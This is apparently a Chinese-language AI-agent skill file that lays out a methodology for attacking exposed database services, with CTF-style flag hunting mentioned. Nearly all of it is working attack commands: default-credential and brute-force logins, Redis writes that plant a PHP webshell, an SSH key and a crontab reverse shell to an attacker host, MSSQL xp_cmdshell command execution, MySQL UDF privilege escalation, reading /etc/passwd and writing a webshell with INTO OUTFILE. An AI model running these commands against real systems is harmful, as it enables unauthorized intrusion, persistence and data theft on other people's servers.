数据库服务攻击方法论。当发现 Redis(6379)、MSSQL(1433)、PostgreSQL(5432)、MySQL(3306)、MongoDB(27017) 等数据库端口时使用。覆盖未授权访问、弱口令爆破、命令执行、文件读写、提权。任何涉及数据库攻击、数据库提权、数据库利用的场景都应使用此技能
数据库是内网渗透的核心跳板——几乎每个应用都有数据库后端,而数据库通常有操作系统级的能力。
| 端口 | 服务 | 攻击优先级 |
|---|---|---|
| 6379 | Redis | ⭐⭐⭐ 未授权概率高 |
| 1433 | MSSQL | ⭐⭐⭐ xp_cmdshell 直接 RCE |
| 5432 | PostgreSQL | ⭐⭐ 命令执行能力强 |
| 3306 | MySQL | ⭐⭐ UDF 提权 |
| 27017 | MongoDB | ⭐⭐ 未授权概率高 |
| 1521 | Oracle | ⭐ 利用复杂 |
发现数据库端口?
├─ 1. 尝试未授权访问(空密码/匿名)
├─ 2. 弱口令爆破(默认账号 + top100)
├─ 3. 已知漏洞利用
├─ 4. 进入数据库后:
│ ├─ 搜索敏感数据(用户表/配置表/flag)
│ ├─ 尝试命令执行
│ └─ 尝试文件读写
└─ 5. 操作系统提权
# Redis
redis-cli -h TARGET ping
# 返回 PONG → 未授权
# MSSQL(默认 sa 账号)
netexec mssql TARGET -u sa -p '' --local-auth
netexec mssql TARGET -u sa -p 'sa' --local-auth
# PostgreSQL
psql -h TARGET -U postgres -w
# 空密码测试
# MySQL
mysql -h TARGET -u root --skip-password
# MongoDB
mongosh --host TARGET --eval "db.adminCommand('listDatabases')"
# 通用爆破(netexec 支持多种协议)
netexec mssql TARGET -u userlist.txt -p passlist.txt --local-auth
netexec ssh TARGET -u userlist.txt -p passlist.txt
# 常见默认账号
# Redis: 无认证 / requirepass 常为弱密码
# MSSQL: sa / sa, sa / 空, sa / 123456
# PostgreSQL: postgres / postgres, postgres / 空
# MySQL: root / root, root / 空, root / 123456
# MongoDB: admin / admin, 无认证
# 未授权连接
redis-cli -h TARGET
# 信息收集
INFO server
CONFIG GET dir
CONFIG GET dbfilename
# 写 Webshell(需要 web 目录写权限)
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET pwn "<?php system($_GET['cmd']); ?>"
SAVE
# 写 SSH 密钥
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET pwn "\n\nssh-rsa AAAA...\n\n"
SAVE
# 写 Crontab
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET pwn "\n* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n"
SAVE
→ 主从复制 RCE / Lua 沙箱逃逸 → references/redis-attack.md
# 连接
impacket-mssqlclient DOMAIN/sa:PASSWORD@TARGET -windows-auth
# 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# 命令执行
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'type C:\flag.txt';
→ CLR 利用 / 提权 → references/mssql-attack.md
# UDF 提权
# 1. 查找 plugin 目录
SHOW VARIABLES LIKE 'plugin_dir';
# 2. 写入 UDF .so 文件
# 3. 创建函数
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
# 文件读取
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/flag.txt');
# 写文件
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';